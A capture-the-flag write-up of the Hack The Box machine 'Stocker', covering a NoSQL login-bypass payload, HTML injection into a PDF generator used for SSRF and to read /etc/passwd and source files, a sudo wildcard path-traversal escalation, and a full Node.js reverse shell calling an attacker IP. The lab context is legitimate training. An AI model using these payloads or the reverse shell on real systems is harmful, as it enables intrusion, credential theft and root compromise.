Hack The Box: Stocker Writeup

hackthebox, linux, easy, web, pdf, nosqli, sudo, xss, ssrf

Stocker is a Linux machine on Hack The Box. One of its two web sites required authentication which was bypassed through a NoSQL injection. The website resembled stock inventory page that allowed ordering items. The order flow was vulnerable to local file inclusions in the generated PDF order list. By exploiting this vulnerability, the credentials for an SSH user were retrieved. A misconfigured sudo rule granted the user the ability to execute abitrary code as root.

Walkthrough

First, the host was added to the hosts file on the attacking system. Next, an nmap scan of the top 1k ports identified SSH on port 22 and HTTP on port 80:

$ echo "10.10.11.196  stocker.htb" | sudo tee -a /etc/hosts
$ sudo nmap -sC -sV stocker.htb
<SNIP>
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
<SNIP>
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Stock - Coming Soon!
|_http-generator: Eleventy v2.0.0
|_http-server-header: nginx/1.18.0 (Ubuntu)
<SNIP>

The web page hosted by nginx on the root domain was a static site advertising some shop or inventory management system. Fuzzing the vhosts using ffuf revealed another vhost, namely: dev.stocker.htb:

$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://stocker.htb -H "Host: FUZZ.stocker.htb" -fs 178
    /'___\  /'___\           /'___\       
   /\ \__/ /\ \__/  __  __  /\ \__/       
   \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
    \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
     \ \_\   \ \_\  \ \____/  \ \_\       
      \/_/    \/_/   \/___/    \/_/       

   v2.0.0-dev
<SNIP>
:: Method           : GET
:: URL              : http://stocker.htb
:: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header           : Host: FUZZ.stocker.htb
<SNIP>
* FUZZ: dev

:: Progress: [4989/4989] :: Job [1/1] :: 930 req/sec :: Duration: [0:00:05] :: Errors: 0 ::
<SNIP>

The discovered subdomain was added to the hosts file:

$ echo "10.10.11.196  dev.stocker.htb" | sudo tee -a /etc/hosts

However, the application running under the dev.stocker.htb domain required authentication. It presented a login page:

The discovered vhost required authentication

At this point no credentials were known, default credentials did not work, and SQL injections were not successful. NoSQL injections, however, were sucessfully abused to bypass the authentication. In order to login, I captured a login request with Burp Suite, changed the Content-Type header from application/x-www-form-urlencoded to application/json, and replaced the data payload with a common NoSQL authentication bypass from hacktricks:

{"username": {"$ne": null}, "password": {"$ne": null} }

Exploiting the NoSQL injection

The authentication bypass worked and the server provided a cookie connected to a valid session. Once logged in, the web server served an internal web shop:

Exploiting the NoSQL injection

The page allowed adding items to cart, viewing the cart and submitting the order for checkout.

Viewing the cart

Submitting the purchase

Once submitted, the order had an order ID and it was possible to review the purchase order by following the link in the modal. The endpoint linked to from the modal returned a PDF document that the server generated. The PDF file contained a list of ordered items.

The design of the shop is questionable, as the backend takes the values received from the client when submitting the order and writes them out to the document without verification of the data or even checking whether such items exist on the store. Thus, it was possible to write arbitrary text into the generated PDF, by intercepting the request with Burp Suite and modifying the request body:

Modifying the order

Modified order

As it turned out, while the server parses the order and creates the PDF, it interprets the HTML + JavaScript provided to it. I found this to be a really interesting case of XSS because it is a reflected XSS that was actually executed server-side and then presented back to the attacker.

So for example, the server could be tricked into making a web request back to the attacker system under 10.10.16.9 (even SSRF!) with the following code:

<img src=http://10.10.16.9/ping />

XSS as SSRF

One of the ways this could be abused is by including local files that leak interesting information. This was possible with iframes and the file:// protocol:

<iframe src=file:///etc/passwd width=800px height=800px />

Included /etc/passwd with an iframe

The file inclusion can also be used to include the source code of the server:

<iframe src=file:///var/www/dev/index.js width=800px height=800px />

Included index.js with an iframe

The authentication URL of the database connection in that source file contained a password. Trying this with the user angoose from the passwd file via SSH worked and provided an shell over SSH, compromising the user level of this machine:

Shell as user

Since the password was known, privilege escalation using sudo seemed possible. Enumerating the configured sudo privileges revealed a command:

$ sudo -l
Matching Defaults entries for angoose on stocker:
<SNIP>
User angoose may run the following commands on stocker:
(ALL) /usr/bin/node /usr/local/scripts/*.js

The configured line seemed to be intended for angoose to run JavaScript files under the /usr/local/scripts/ directory. The line is problematic however, as the wildcard allows any characters to be between the path and the file extension .js. This means that although the scripts directory was not writable for the user, code could be saved to another directory and the path extended by walking upwards in the file tree. So for example, malicious code could be saved to /tmp/code.js and executed with sudo rights using

$ sudo /usr/bin/node /usr/local/scripts/../../../tmp/code.js

The line fits the wildcard definition in the sudoers file. Thus, the would be executed as root.

On the box, this behaviour was exploited by generating a JavaScript/Node reverse shell on revshells, and saving it to /home/angoose/shell.js:

(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/bash", \[\]);
var client = new net.Socket();
client.connect(8000, "10.10.16.4", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();

Then, the file was executed using sudo and node:

$ sudo /usr/bin/node /usr/local/scripts/../../../home/angoose/shell.js

Shell as root

This provided a root shell and fully compromised the box. That’s it for this post. As always, have a fun time with CTFs.